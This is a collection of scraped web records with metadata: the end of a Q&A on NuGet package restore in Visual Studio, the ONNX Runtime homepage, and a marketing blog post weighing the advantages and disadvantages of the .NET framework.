A: You can use Fiddler to see the actual requests and responses that Visual Studio’s NuGet Package Manager gets from nuget.org. Alternatively your can use your favorite REST client (eg Insomnia, Postman, etc) to send the explicit requests that are captured in the Package Manager output log. Both ways are exemplified below:
Q:
A: Visual Studio’s Package Manager output window doesn’t really pinpoint exactly the moment the .csproj is updated. However we can use other tools to find out, by probing at various steps in the workflow for the file’s content. Whether it’s in the very beginning can be deducted by preventing or slowing down the retrieval of the NuGet packages themselves. Disabling the Internet connection won’t work, as the install process doesn’t start without it. We can use Fiddler however to insert a delay for requests to nuget.org (the snapshot below); and while these are processed, quickly open the .csproj file and take a look inside (remember that the project file is not committed to disk until it’s saved, so Visual Studio must be used by double-clicking the project name). Doing so will show that the file is not yet updated. So is it updated before project.assets.json is written to or after? We’ve actually looked at how to set a lock against a file 2 questions above; so creating such a lock against the project.assets.json file will get the whole package restore process to “crash” when required to write to that specific file. Once the exception is thrown in the Package Manager output window (“System.IO.IOException: The process cannot access the file ‘C:\Users\malbert\source\repos\CmdParserTest\CmdParserTest\obj\project.assets.json’ because it is being used by another process”) after the rest of the steps logged so far (hint !), you can open the .csproj file from within Visual Studio – and you’ll get to see that it has already been updated at this point. Just remember that the file lock must be allowed to read at least, otherwise the whole install process fails from the very beginning, as read access is required initially for this file.
Q: I’m running into the error mentioned at the end of the “No-Op Restore” section of the article when trying to build the project, whereby “Assets file project.assets.json not found. Run a NuGet package restore to generate this file.“. How can I force a package restore from within Visual Studio?
A: Either 1) put back the 2nd NuGet package restore option within the Visual Studio options or 2) open the Package Manager console and issue a dotnet restore. The information here conveys one extra method of fixing the problem involving msbuild.exe.
Q: Why call it NuGet “Package Restore”?
A: I’m not aware of the historical reason of calling it so. Intuitively though, I’d dare to say it’s because it restores the NuGet packages according to the state specified by the project configuration file. Whether it’s a new project where a package is just installed (which results in the project configuration amended to reference the NuGet package first), or a project cloned to a different machine as part of a git repository (which copies across the project configuration data verbatim), the definition encompasses both cases and results in the same set of actions – namely restoring the packages so that they match the project config.
Q: Is it “project dependency graph” or “package dependency graph”? I’m finding that even this article quotes both terms.
A: Most likely the right term is “project dependency graph”, and the other one is just a typo left in some of the few docs that still reference it.
|
||||
8582
|
dbpedia
|
2
| 32
|
https://onnxruntime.ai/
|
en
|
ONNX Runtime
|
[
"https://onnxruntime.ai/_app/immutable/assets/huggingface-logo.9b20eb58.png",
"https://onnxruntime.ai/_app/immutable/assets/amd-logo.42b6427e.png",
"https://onnxruntime.ai/_app/immutable/assets/navitaire-amadeus-logo.a406b27e.png",
"https://onnxruntime.ai/_app/immutable/assets/camo-logo.1ce61540.png",
"https://onnxruntime.ai/_app/immutable/assets/nvidia.cc656ba1.png",
"https://onnxruntime.ai/_app/immutable/assets/sas-logo.8ff5a381.png",
"https://onnxruntime.ai/_app/immutable/assets/teradata-logo.b8cccc3f.png",
"https://onnxruntime.ai/_app/immutable/assets/redis-logo.889eee37.png",
"https://onnxruntime.ai/_app/immutable/assets/oracle-logo.210a5d89.png",
"https://onnxruntime.ai/_app/immutable/assets/algoriddim-logo.3636b920.png",
"https://onnxruntime.ai/_app/immutable/assets/Rockchip-logo.ccc73f1d.png",
"https://onnxruntime.ai/_app/immutable/assets/pieces-logo.93c0e35d.png",
"https://onnxruntime.ai/_app/immutable/assets/usda-logo.992ea4f5.png",
"https://onnxruntime.ai/_app/immutable/assets/writer-logo.2a3ccac1.png",
"https://onnxruntime.ai/_app/immutable/assets/ATLAS-logo.1fa0f849.png",
"https://onnxruntime.ai/_app/immutable/assets/hypefactors-logo.bbbadacf.png",
"https://onnxruntime.ai/_app/immutable/assets/antgroup-logo.42a0a801.png",
"https://onnxruntime.ai/_app/immutable/assets/adobe-logo.1be16bb7.png",
"https://onnxruntime.ai/_app/immutable/assets/infarm-logo.8b3b161e.png",
"https://onnxruntime.ai/_app/immutable/assets/intelligenza-etica-logo.a1680dfd.png",
"https://onnxruntime.ai/_app/immutable/assets/xilinx-logo.54981bb3.png",
"https://onnxruntime.ai/_app/immutable/assets/clearblade-logo.adf78e67.png",
"https://onnxruntime.ai/_app/immutable/assets/ue-logo.256899fd.png",
"https://onnxruntime.ai/_app/immutable/assets/PeakSpeed_logo.db9c1276.png",
"https://onnxruntime.ai/_app/immutable/assets/bazaarvoice-logo.3d8d2a40.png",
"https://onnxruntime.ai/_app/immutable/assets/deezer-logo.4f2b9f27.png",
"https://onnxruntime.ai/_app/immutable/assets/cephable-logo.fe82d157.png",
"https://onnxruntime.ai/_app/immutable/assets/topazlabs-logo.f736b149.png",
"https://onnxruntime.ai/_app/immutable/assets/vespa-logo.cf450f3d.png",
"https://onnxruntime.ai/_app/immutable/assets/intel-logo.d3216f76.png",
"https://onnxruntime.ai/_app/immutable/assets/PyTorch_logo_black.219eacce.svg",
"https://onnxruntime.ai/_app/immutable/assets/Windows_logo_and_wordmark.639973d0.svg",
"https://onnxruntime.ai/_app/immutable/assets/hf-logo-with-title.fc95837e.svg"
] |
[] |
[] |
[
"onnx runtime",
"onnx",
"onnxruntime",
"onnx runtime performance",
"onnx runtime training",
"onnx runtime inference",
"onnx runtime cross-platform",
"onnx runtime cross platform",
"onnx runtime crossplatform",
"onnx runtime training and inference",
"onnx runtime training & inference",
"onnx runtime training inference",
"onnx runtime training",
"onnx runtime inference",
"onnx runtime cross-platform",
"onnx runtime cross platform",
"onnx runtime crossplatform",
"onnx runtime training and inference",
"onnx runtime training & inference",
"onnx runtime training inference"
] | null |
[] | null |
Cross-platform accelerated machine learning. Built-in optimizations speed up training and inferencing with your existing technology stack.
|
en
|
./favicon.ico
|
https://onnxruntime.ai/
|
Python
C#
JS
Java
C++
import onnxruntime as ort model_path = "path/to/your/onnx/model" session = ort.InferenceSession(model_path) ... outputs = session.run(None, {"input": inputTensor}) print(outputs)
Generative AI
Integrate the power of Generative AI and Large language Models (LLMs) in your apps and services with ONNX Runtime. No matter what language you develop in or what platform you need to run on, you can make use of state-of-the-art models for image synthesis, text generation, and more.
Learn more about ONNX Runtime & Generative AI →
Cross-Platform
Do you program in Python? C#? C++? Java? JavaScript? Rust? No problem. ONNX Runtime has you covered with support for many languages. And it runs on Linux, Windows, Mac, iOS, Android, and even in web browsers.
Performance
CPU, GPU, NPU - no matter what hardware you run on, ONNX Runtime optimizes for latency, throughput, memory utilization, and binary size. In addition to excellent out-of-the-box performance for common usage patterns, additional model optimization techniques and runtime configurations are available to further improve performance for specific use cases and models.
|
|||||
8582
|
dbpedia
|
1
| 26
|
https://graffersid.com/advantages-and-disadvantages-of-using-net/
|
en
|
Advantages and Disadvantages of .NET Framework 2024
|
[
"https://graffersid.com/wp-content/uploads/2023/10/logo.svg",
"https://graffersid.com/wp-content/uploads/2024/07/advantages-and-disadvantages-of-dotnet-framework.png",
"https://graffersid.com/wp-content/uploads/2024/07/Key-Features-of-.Net-Framework.png",
"https://graffersid.com/wp-content/uploads/2024/07/Top-5-Web-Resources-Built-Using-.NET_.jpg",
"https://graffersid.com/wp-content/uploads/2024/07/advantages-and-disadvantages-of-dotnet.jpg",
"https://graffersid.com/wp-content/uploads/2024/07/Looking-for-Dedicated-Developer.png",
"https://graffersid.com/wp-content/uploads/2024/08/1-1.webp",
"https://graffersid.com/wp-content/uploads/2024/08/Adaptive-Software-Development-ASD.png",
"https://graffersid.com/wp-content/uploads/2024/07/Hackers-and-Weaponized-AI.png",
"https://graffersid.com/wp-content/uploads/2023/11/long-arrow-left-icon.svg",
"https://graffersid.com/wp-content/uploads/2024/05/footimg1-1.webp",
"https://graffersid.com/wp-content/uploads/2024/05/footimg2-1.webp",
"https://graffersid.com/wp-content/uploads/2024/05/footimg3-1.webp",
"https://graffersid.com/wp-content/uploads/2024/05/footimg4-1.webp",
"https://graffersid.com/wp-content/uploads/2024/05/footimg5-1.webp",
"https://graffersid.com/wp-content/uploads/2023/11/graffersid-white-logo-2.png",
"https://graffersid.com/wp-content/uploads/2024/03/x.svg",
"https://graffersid.com/wp-content/uploads/2024/06/logo-1-1.svg",
"https://graffersid.com/wp-content/uploads/2023/11/yellow_star_group.svg",
"https://graffersid.com/wp-content/uploads/2024/03/google.svg",
"https://graffersid.com/wp-content/uploads/2023/11/yellow_star_group.svg",
"https://graffersid.com/wp-content/uploads/2024/03/clutch.svg",
"https://graffersid.com/wp-content/uploads/2023/11/yellow_star_group.svg",
"https://graffersid.com/wp-content/uploads/2024/03/g2.svg",
"https://graffersid.com/wp-content/plugins/wpforms/assets/images/submit-spin.svg"
] |
[] |
[] |
[
""
] | null |
[
"admin"
] |
2024-04-03T07:43:34+00:00
|
.NET is a framework that aids in building cross-platform applications. Here are the advantages and disadvantages of .net framework. Read now!
|
en
|
GraffersID
|
https://graffersid.com/advantages-and-disadvantages-of-using-net/
|
Reading Time: 40 minutes
In the world of software development, choosing the right technology stack is a crucial decision that can have a significant impact on the success of a project. One of the popular options available to developers is the .NET framework, developed by Microsoft. With its powerful tools and libraries, .NET has been widely used by developers for years. However, as technology continues to evolve at a rapid pace, it’s important to examine the advantages and disadvantages of using .NET in 2023. In this blog post, we will explore the advantages and disadvantages of the .net framework and help you make an informed decision about whether it’s the right choice for your next project.
About .Net Framework
Developed by Microsoft, .NET (also known as . NET) is a framework that makes application development a bit easy task for developers. The framework supports the development as well as maintenance of modern-day applications and XML web services. .NET offers a highly consistent object-oriented programming environment to dedicated developers and is used to build applications that can run on multiple platforms.
One of the interesting about the .NET framework is that it supports the creation of cross-platform applications that can smoothly run across server platforms such as Windows, Linux, and even MAC.
This framework can be used to design, develop, compile, build, and deploy a mobile application with its comprehensive range of compilers, code libraries, support programs, and APIs. The varied components of dotNET aid in the development of the customized project.
Over the years, .NET has undergone significant transformations, with the introduction of .NET Core and later .NET 5, which merged the capabilities of .NET Framework, .NET Core, and Xamarin into a unified platform. This evolution streamlined development processes, enhanced performance, and expanded support for modern application development scenarios.
Key Features of .Net Framework
Multi-language Support: One of the defining features of .NET is its support for multiple programming languages. Developers can choose from languages like C#, VB.NET, F#, and more, based on their preferences and project requirements.
Common Language Runtime (CLR): The CLR is the heart of the .NET Framework, providing services such as memory management, security, and exception handling. It ensures that .NET applications run efficiently and securely across different environments.
Framework Class Library (FCL): The FCL is a comprehensive collection of reusable classes, interfaces, and types that simplify common programming tasks. It includes components for data access, networking, file I/O, and much more, reducing development time and effort.
ASP.NET for Web Development: .NET offers ASP.NET, a powerful framework for building dynamic web applications. With features like MVC (Model-View-Controller) architecture, built-in authentication mechanisms, and support for modern web standards, ASP.NET remains a top choice for web developers.
Cross-Platform Capabilities: With the advent of .NET Core and later versions, .NET has expanded its reach beyond Windows to support cross-platform development. Developers can build and deploy .NET applications on Windows, Linux, and macOS environments, fostering greater flexibility and scalability.
Integration with Visual Studio: Microsoft’s Visual Studio IDE provides a rich development environment for .NET developers. It offers tools for code editing, debugging, testing, and deployment, empowering developers to create high-quality applications with ease.
.NET is widely used by developers for the creation of services and apps on multiple devices and operating systems. One of the aspects that make .NET stand out is the range of features offered by the application.
Table of Content
Apps Built using the dotNET Framework
Interoperable Apps
Gaming
Re-Designing
Business Function
Multi-Tiered Software Architecture
Reason For Choosing .NET
Platform Independent
Better Performance
Excellent User Interface and Architecture
Favored by Developers
Web Resources Built Using .NET
Advantages of .NET
Object Oriented
Visual Studio IDE
Cross-Platform Design
Flexible Deployment and Easy Maintenance
dotNET Core Supports a Wide Range of Applications
.NET Core Enables Top App Performance
Cost-Effective
Large Community
Integration with Microsoft Ecosystem
Security and Reliability
Rapid Development
Security Features
Scalability and Performance
Language Interoperability
Containerization Support
Machine Learning and AI Integration
Cloud-Native Development
Disadvantages of .NET
Limited Object-Relational Support
Vendor Lock-in
Memory Leaks
Difficulty in the transition to .NET core
Deployment and Size
Learning Curve
Platform Dependency
Open-Source Challenges
Community Perception
Containerization Complexity
Third-Party Integration
Performance Overhead in Certain Scenarios
Complexity in Cross-Platform UI Development
Community Fragmentation Across Versions
Limited Compatibility with Legacy Systems
Limitations of the .NET framework
Technologies Before .NET
Apps Built using the dotNET Framework
Let’s now see the range of applications that can be built using the dotNET framework.
1. Interoperable Apps:
dotNET is the perfect option for building interoperable apps that offer flawless user experience across a wide range of platforms.
The plethora of features available in this framework enables programmers to create an application that works in sync across multiple platforms.
If you want to develop an application using .NET, then you can hire dedicated ASP.NET developers.
2. Gaming:
.NET is extremely versatile and thus it is a highly suitable framework for the development of gaming applications. The versatility offered by .NET also allows .NET developers to create seamless web and enterprise-graded applications.
3. Re-Designing:
Organizations are not static and their needs are also changing continuously. It is crucial to scale the software according to the growing needs.
dotNET is an excellent platform for re-designing applications and scaling them up according to the growing needs of the organization.
4. Business Function:
Those days don’t exist anymore when business was conducted without the presence of applications and software.
Almost every business out there makes use of constructive applications and software to streamline their business operations. NET is broadly used in the creation of supply management applications and CRM.
5. Multi-Tiered Software Architecture:
.NET utilizes multi-tiered software architecture. It is known as multi-tiered because it physically separates functions for app processing, data management, and presentation.
Utilizing this framework, developers can build flexible applications. Moreover, developers can also edit a layer without reworking the entire application.
Looking to hire a dedicated remote team? Connect with us here!
Reason For Choosing .NET
There are several advantages and disadvantages of the .NET framework. However, you must choose the .NET framework for the following reasons:
Platform Independent
Any application in any type of platform may be made using .NET. It supports all platforms; therefore, to put it simply, it is platform-independent. The mobile applications made with .NET will support various operating systems, including Android, iOS, Windows, and others. The amazing .NET offers you every solution imaginable when creating apps.
Better Performance
.NET produces a responsive result due to its high speed, just-in-time compilation, and improved performance. It takes a long time to respond. You can be happy with an excellent adaptable procedure and a superior dynamic user experience.
Excellent User Interface and Architecture
A platform that is open source is NET. Utilize an IDE (Integrated Development Environment) that is efficient and dynamic when developing applications. You may create a compelling application using the best-in-class MVC (Model-View-Controller) architecture, an intuitive user interface, and superior UI controls.
Favored by Developers
Developers adore.NET because it is a cutting-edge, open-source programming platform. On the Stack Overflow Developer Survey, .NET has been named the most favored framework for three years (2019, 2020, and 2021).
Briefly, .NET speeds the development process by providing developers with reliable and user-friendly tools that enable them to tackle issues in any application without becoming bogged down by specific language constraints.
Top 5 Web Resources Built Using .NET
The following well-known web resources were created using the .NET framework, which has shown to be a capable and dependable technique for constructing web applications.
Microsoft
The well-known organization undoubtedly employed cutting-edge technology and development tools while creating its website. The website is responsive, it operates efficiently, and everything is transparent and consistent.
StackOverflow
One of the top Q&A sites for experts in computer-related fields looking to solve technical issues. Undoubtedly, it is a beneficial learning site for any web developer, allowing them to pick up many valuable tips and suggestions and discover the best solution for the generated code, python Ruby, and any other situation. You may use the service to learn what other people say about a specific technology, provide comments, and choose the best answer for your problem.
You may use the service to learn what other people say about a particular technology, provide comments, and choose the best answer for your situation.
Dell
A well-known PC manufacturer’s portal. But we must acknowledge that Dell is now more than simply a PC company. Indeed, if we examine the company’s website more closely, we will find that it offers hundreds of tech solutions, such as cloud computing. The website, created using the .NET framework, has several features.
W3schools.com
A well-known open-source development environment that has many code samples. W3schools.com addresses all the main programming concerns, including HTML, CSS, JavaScript, SQL server, and others. Use it to understand, evaluate, and execute exciting ideas efficiently and quickly. Coding properly means avoiding mistakes. Many IT-related people think it is one of the most incredible web resources for learning IT.
GoDaddy
A significant US-based provider of hosting and domain registration services that operates a cloud infrastructure specifically for micro businesses and independent projects. The firm currently has 17 million+ consumers and over 6,000 employees worldwide. There is also a large online forum where you can learn essential information about the newest technologies and keep up with the current headlines. This system combines strength with usability and security.
Advantages and Disadvantages of .Net Framework
The .NET Framework, developed by Microsoft, is a powerful software framework that supports the development and execution of various types of applications. It provides a comprehensive set of libraries and tools that enable developers to build robust and scalable applications for different platforms. However, like any technology, the .NET Framework has its own set of advantages and disadvantages. Let’s explore them in more detail:
Advantages of .net framework
1. Object Oriented
.NET is based on an Object-Oriented Programming Module. OOP is a development model that involves breaking down software into easily manageable smaller pieces. OOP compartmentalizes data into data fields and describes objects’ behavior through the declaration of classes.
Object-Oriented Programming Module simplifies by making the code manageable, responding to recurring issues, and easier to test. It eliminates necessary programming and hence less coding for developers. In addition to this, .NET makes it possible to reuse components and code, thereby saving time and the cost of development.
2. Visual Studio IDE
An Integrated Development Environment makes application development simpler by providing the needed to write and test software.
Visual Studio is an Integrated Development Environment by Microsoft that is used for building, debugging, and publishing applications across various platforms, including Android and iOS.
The key features of the Visual Studio IDE:
It is a single IDE for all dotNET applications
The IDE comprises debugging and integrated compilation features
The solution can be utilized for applications that are based on code written in different languages.
It also customizes the environment to match user preferences.
Apart from this, Visual Studio Marketplace also brings a wide range of editor extensions that enable continuous integration, team collaboration, cloud development management, and third-party connections.
3. Cross-Platform Design
.NET Core is cross-platform, which means it allows the code to run on Windows, Linux, and OS X. dotNET core, unlike the original .NET framework has a fully open source code that ensures that a wide engineering community can contribute to its development.
If you are writing the code in F#, C#, or Visual Basic, your code will run each of the compatible operating systems. This allows companies to reach an extensive variety of platforms while staying within the .NET ecosystem. At the same time, with the cross-platform design, it also becomes possible for the .NET community to share their large pool of engineering skill sets.
4. Flexible Deployment and Easy Maintenance
One of the crucial and most advantageous features of .NET Core is flexible deployment. It can be installed as a part of the application you are developing as well as separately. The modular design allows including all the dependencies that you need. Moreover, the deployment with .NET is as easy as copying a folder.
Another benefit is that you can have more than one .NET Core version running side by side on the same machine. Hence, making it easy to cover different projects and seamlessly perform a deployment task.
5. dotNET Core Supports a Wide Range of Applications
With the .NET framework, you get the opportunity to develop an application in a multitude of domains, such as gaming, mobile, IoT, and AI.
Microsoft has recently announced a collaboration with SWIFT, which means putting AI and data at the center of Fintech. This will include creating an ecosystem that offers efficient and secure operations for banks and corporations.
Businesses have realized the huge potential of Machine Learning, Big Data, and AI. They are investing more and more in order to integrate such components into their applications. Healthcare, education, marketing, banking, business and pretty much everything in our daily lives could utilize AI and Big Data, making life easier.
6. .NET Core Enables Top App Performance
With each released version, Microsoft added a few percentages on the performance of the application.
Built using the .NET Core framework, Stack Overflow, the leading knowledge website for coders, manages to serve it, users, with 5.3 M page views/day, and that too with just 9 servers.
Raygun, a company from New Zealand, developed a cloud-based monitoring application for web and mobile applications. The core of the application was written in the .NET framework, but they were using API that received data written in Node.js or Linux to support elasticity.
Over time, the Node.js framework becomes heavyweight and slower and requires to be scaled up. However, this demanded budget investment. Hence, the company decided to port its API to the .NET core. This resulted in increasing their throughput by 2000% just by using the same-size servers as before.
Paired with the right database and architecture, the framework is the perfect solution for any kind of business that needs to scale eventually.
7. Cost-Effective
When choosing the appropriate technology, one of the first things that you check is the IDEs and tools that are mandatory or add to productivity.
A lot of them are free, but the best ones come with licensing costs per developer, which can sum up to thousands of dollars. No matter, whether you are a Startup trying to find your way into the market or a big company, the money could be spent in a better way.
Visual Code Studio by Microsoft has been preferred by a large number of front-end developers as it is good, small, extensible, and updated.
When it comes to infrastructure, .NET Core offers you the freedom to pick a provider of your choice that provides you with cheaper SLA. Moreover, you can choose to host your application in the cloud.
Even if costs are not something you are worried about, not being forced to invest in something that is not crucial gives your business flexibility and the opportunity to invest in the development of your team.
8. Large Community
When a framework is used by many businesses and developers, it means it has such features that attract them. It also proves its stability and high level of trust from the community, making everyone try the framework.
Moreover, a large community means that almost any issue can be solved with the aid of community members. According to a recent survey by Stack Overflow, ASP.NET took fourth place among the most popular frameworks, while dotNET and .NET core ranked second and third.
9. Integration with Microsoft Ecosystem:
The .NET Framework seamlessly integrates with other Microsoft technologies, such as SQL Server, Azure cloud services, and Office applications. This integration enables developers to leverage the power of these technologies and build highly scalable and interconnected solutions. It also facilitates easy access to various APIs and services provided by Microsoft, making it easier to develop applications that interact with these resources.
10. Security and Reliability:
The .NET Framework includes built-in security features, such as code access security and role-based security, which help protect applications from unauthorized access and malicious attacks. Additionally, the framework provides automatic memory management through garbage collection, reducing the risk of memory leaks and improving the overall reliability of applications.
11. Rapid Development:
The .NET Framework offers a wide range of pre-built libraries, components, and tools that accelerate the development process. These libraries provide ready-to-use functionalities, such as file I/O operations, database connectivity, and networking, which reduce development time and effort significantly. Additionally, the framework’s integrated development environment (IDE), such as Visual Studio, provides a rich set of tools for code debugging, profiling, and testing, further enhancing developer productivity.
12. Security Features
Security is a top priority in the digital age, and .NET has continued to enhance its security features. The framework provides built-in security mechanisms, including code access security, role-based security, and encryption capabilities, helping developers create robust and secure applications.
13. Scalability and Performance
.NET is known for its scalability and performance capabilities. With advancements such as the introduction of .NET 6, developers can expect improved performance, reduced startup times, and enhanced support for containerized applications, making it a suitable choice for demanding enterprise-level projects.
14. Language Interoperability:
.NET supports multiple programming languages, including C#, F#, and Visual Basic, offering developers the flexibility to choose languages based on their preferences and project requirements. This interoperability fosters code reuse, collaboration among teams with diverse skill sets, and the ability to leverage existing codebases.
15. Containerization Support:
In response to the growing trend of containerization and microservices architecture, .NET provides robust support for Docker containers and Kubernetes orchestration. Developers can containerize .NET applications, enabling easy deployment, scaling, and management in containerized environments, leading to improved efficiency and resource utilization.
16. Machine Learning and AI Integration:
With the introduction of ML.NET, a machine learning framework for .NET developers, integrating machine learning and artificial intelligence capabilities into .NET applications has become more accessible. Developers can leverage pre-built ML models, train custom models, and incorporate intelligent features into their applications seamlessly.
17. Cloud-Native Development:
.NET embraces cloud-native development practices with native integrations with Microsoft Azure services. From serverless computing with Azure Functions to cloud storage with Azure Blob Storage and scalable databases with Azure SQL Database, .NET developers can harness the power of cloud computing for building scalable, resilient, and cost-effective solutions.
Disadvantages of .NET
Along with a plethora of advantages, .NET also comes with a set of problems. Here are a few drawbacks of the .NET framework:
1. Limited Object-Relational Support
As mentioned above, .NET works on the Object-Oriented Programming approach, which is based on objects rather than actions and data rather than logic. The support of data-oriented software application development in the .NET Framework is provided by the Entity Framework.
The entity acts as the bridge between the object-oriented .NET Framework and SQL databases. However, some developers believe The Entity Framework doesn’t offer the required flexibility and doesn’t support all the available database designs.
2. Vendor Lock-in
.NET is a framework by Microsoft. While Xamarin and .NET Core are open sources, the whole ecosystem is far from being community-driven. This means that your products will depend upon decisions made by Microsoft.
3. Memory Leaks
The problem of memory leaks is common with every technology. .NET is also one of those platforms that are frequently criticized for memory-related and memory leak issues.
Although dotNET possesses a garbage collector for this problem, engineers are still required to invest additional efforts into resource management.
4. Difficulty in the transition to .NET core
The transition to the dotNET core could be long and difficult. The applications built with older .NET versions are far more than those built with .NET core. Transiting these applications to the latest versions of .NET can be a little bumpy.
5. Deployment and Size:
Applications built on the .NET Framework often require the installation of the framework’s runtime environment on the target machines. This additional installation step can increase the deployment complexity and the size of the application package. However, with the introduction of .NET Core and its self-contained deployment option, this disadvantage has been mitigated to some extent.
6. Learning Curve:
While the .NET Framework offers a wide range of features and functionalities, it can have a steep learning curve for beginners. The framework’s extensive libraries and tools require developers to invest time in learning and understanding its concepts and best practices. Additionally, keeping up with the frequent updates and new versions of the framework can also pose challenges for developers.
7. Platform Dependency:
While .NET Core has made significant strides in enabling cross-platform development, the full .NET Framework is primarily designed for Windows-based environments. This platform dependency restricts the deployment of applications built on the full framework to Windows-based systems, limiting their portability and flexibility.
8. Open-Source Challenges:
While .NET Core marked a significant move towards open-source development, some legacy components are still proprietary. This duality can lead to challenges when dealing with open-source initiatives, as not all aspects of the framework may be freely accessible.
9. Community Perception:
In certain development circles, there might be a perception that .NET is primarily suited for Windows-centric applications. Although efforts have been made to dispel this notion through cross-platform support, overcoming preconceptions remains a challenge.
10. Containerization Complexity:
While .NET Core has made strides in containerization support, some developers find working with containers in the .NET ecosystem more complex compared to certain alternatives. This complexity may be a barrier for teams prioritizing containerized deployments.
11. Third-Party Integration:
Although the .NET ecosystem is extensive, some niche libraries and tools may have more comprehensive support in other frameworks. Teams focusing on specific integrations may need to evaluate the availability and maturity of third-party components within the .NET ecosystem.
12. Performance Overhead in Certain Scenarios:
While .NET offers high performance in general, certain scenarios, such as real-time systems or low-latency applications, may experience performance overhead due to the managed runtime environment and garbage collection mechanisms. Developers need to optimize code and leverage performance profiling tools to mitigate these challenges effectively.
13. Complexity in Cross-Platform UI Development:
While .NET supports cross-platform development for backend services and APIs, creating consistent and performant user interfaces (UIs) across multiple platforms (e.g., Windows, macOS, iOS, Android) can be challenging. Developers may need to rely on additional frameworks like Xamarin.Forms or third-party tools to achieve optimal cross-platform UI experiences.
14. Community Fragmentation Across Versions:
With the evolution of .NET through different versions (e.g., .NET Framework, .NET Core, .NET 5, .NET 6, etc.), the community may experience fragmentation, leading to varying levels of support, documentation, and tooling across different versions. Developers and organizations must navigate this landscape carefully to ensure compatibility, stability, and access to relevant resources.
15. Limited Compatibility with Legacy Systems:
Despite efforts to improve compatibility and migration paths, .NET may still face challenges in integrating seamlessly with legacy systems built on older technologies or proprietary platforms. Interoperability issues, data migration complexities, and API compatibility constraints may arise, requiring thorough planning and strategic decisions for modernization initiatives.
To make it easier for you here are the table comparison for advantages and disadvantages of the .NET Framework.
Aspect Advantages Disadvantages
Advantages
1. Versatility Cross-language compatibility allows developers to use C#, VB.NET, F#, and more. Limited support for non-Windows platforms. 2. Extensive Library Offers a vast class library for common tasks, reducing development time. Larger memory and disk space requirements for applications. 3. Security Robust security features and permissions system. May require additional configuration for fine-grained security. 4. Language Support Supports multiple programming languages within the same project. The learning curve for developers new to . NET. 5. Developer Tools Integrated development environment (IDE) with Visual Studio for efficient coding. Licensing costs for Visual Studio Enterprise. 6. Strong Typing Strongly typed languages offer better code consistency and error checking. Increased verbosity in code compared to dynamically typed languages. 7. Compatibility Supports backward compatibility for older applications. Limited support for some modern programming paradigms like functional programming. 8. Community Large and active developer community for support and resources. Limited open-source options compared to some other platforms.
Disadvantages
1. Platform Dependency Tied to the Windows operating system, limiting cross-platform development. Limited reach to non-Windows users. 2. Proprietary Controlled by Microsoft, which may lead to vendor lock-in concerns. Licensing costs for some components and support. 3. Version Compatibility Challenges when migrating applications to newer .NET versions. Compatibility issues with legacy code. 4. Performance .NET applications may have slightly higher resource requirements. Lower performance compared to natively compiled languages for some scenarios. 5. Learning Curve Steeper learning curve for beginners, especially in enterprise-level usage. Complexity can overwhelm inexperienced developers. 6. Limited Mobile Support Xamarin for mobile app development but lacks the native feel of some alternatives. Native app development for some platforms may require additional tools.
Difference between .NET Framework and .NET Core
Feature .NET Framework .NET Core Cross-Platform Support Limited (Windows-focused) Yes (Cross-platform – Windows, Linux, macOS) Development Model Traditional Monolithic Framework Modular and Open-Source Deployment Model Framework needs to be installed on the machine Self-contained deployments or side-by-side installations Supported Applications Windows-based applications Cross-platform applications, including Windows, Linux, and macOS Supported Workloads Desktop applications, WebForms, WPF Web applications, microservices, cloud-based applications Performance Generally heavier and slower startup time Lightweight and faster startup time Open Source No (proprietary) Yes Entity Framework Core Not applicable (Entity Framework used) Integrated and encouraged .NET Standard Compatibility Not fully compatible Fully compatible Support for Containers Limited First-class support Runtime Environment Common Language Runtime (CLR) CoreCLR (lightweight runtime) Tooling Support Visual Studio Visual Studio Code, Visual Studio, and others Windows Presentation Foundation (WPF) Fully supported Limited support Windows Communication Foundation (WCF) Fully supported Limited support ASP.NET MVC and Web API Available Unified as ASP.NET Core NuGet Package Management Supported Enhanced support with PackageReference Versioning Approach Monolithic versioning (e.g., .NET Framework 4.x) Semantic versioning (e.g., .NET Core 2.0, 3.0, 3.1)
How to create a new project in .NET Framework?
.NET Framework is the initial step towards unleashing the power of this robust framework. In this guide, we will walk you through the process, providing detailed steps and insights to help you kickstart your project successfully.
Step 1: Install the .NET Framework:
Before you embark on creating a new project, ensure that the .NET Framework is installed on your development machine. You can download the latest version from the official Microsoft website or use a package manager like NuGet.
Step 2: Choose the Right IDE:
The Integrated Development Environment (IDE) plays a crucial role in the development process. Microsoft offers Visual Studio, a feature-rich IDE that simplifies .NET development. Download and install Visual Studio Community, the free version suitable for individual developers and small teams.
Step 3: Launch Visual Studio and Create a New Project:
Once Visual Studio is installed, launch the application. Follow these steps to create a new project:
a. Click on “File” in the menu bar
b. Select “New” and then click on “Project.”
This will open the New Project dialog, where you can choose the project type based on your application requirements.
Step 4: Select Project Type and Template:
Visual Studio provides a variety of project types, including Console Application, Windows Forms App, ASP.NET Web Application, and more. Choose the project type that aligns with your development goals. Additionally, you can select a template that best suits your application’s structure and functionality.
Step 5: Configure Project Settings:
Before finalizing the project creation, it’s essential to configure project settings such as the name, location, and solution name. Pay attention to the target framework, as it determines the version of the .NET Framework your project will use. Ensure compatibility with your application’s dependencies and requirements.
Step 6: Explore Project Structure:
After creating the project, take a moment to explore the project structure generated by Visual Studio. Familiarize yourself with folders like “Properties,” “References,” and “bin,” as they play a vital role in organizing and managing your project.
Step 7: Write Code and Build:
Now that your project is set up, it’s time to start coding. Visual Studio provides a code editor with features like syntax highlighting, IntelliSense, and debugging tools. Write your code, add necessary dependencies, and use the built-in features to ensure the correctness of your implementation.
Step 8: Test and Debug:
Thoroughly test your application by leveraging Visual Studio’s debugging tools. Set breakpoints, inspect variables, and use the debugging console to identify and fix issues. Testing at this stage helps ensure a more robust and stable application.
Looking to hire a dedicated remote developer? Connect with us here!
How Does the .NET Framework Compare to Other Web Development Frameworks?
The .NET framework is a popular web development framework that is often compared to other frameworks such as Java, Ruby on Rails, and Node.js.
Compared to Java-
The .NET framework offers a similar level of performance and scalability, but it tends to be more popular among Windows developers, while Java is more popular among cross-platform developers. The .NET framework also has a larger library of pre-built components and tools, which can help to simplify the development process.
Compared to Ruby on Rails-
The .NET framework is generally considered to be more robust and powerful. The .NET framework also has a larger community and more resources available than Ruby on Rails.
Compared to Node.js-
The .NET framework is considered to be more mature and stable. The .NET framework also has a larger library of pre-built components and tools, which can help to simplify the development process.
It’s important to note that the choice of web development framework ultimately depends on the specific requirements and needs of your project, as well as your team’s skills and experience.
Employ a .NET Development Firm
You must be familiar with a few programming languages to use the .NET framework while creating applications. You may employ a .NET development business to construct apps. Hiring engineers from the best .NET development business is complex. Hiring an outsourcing company can be your time-saver.
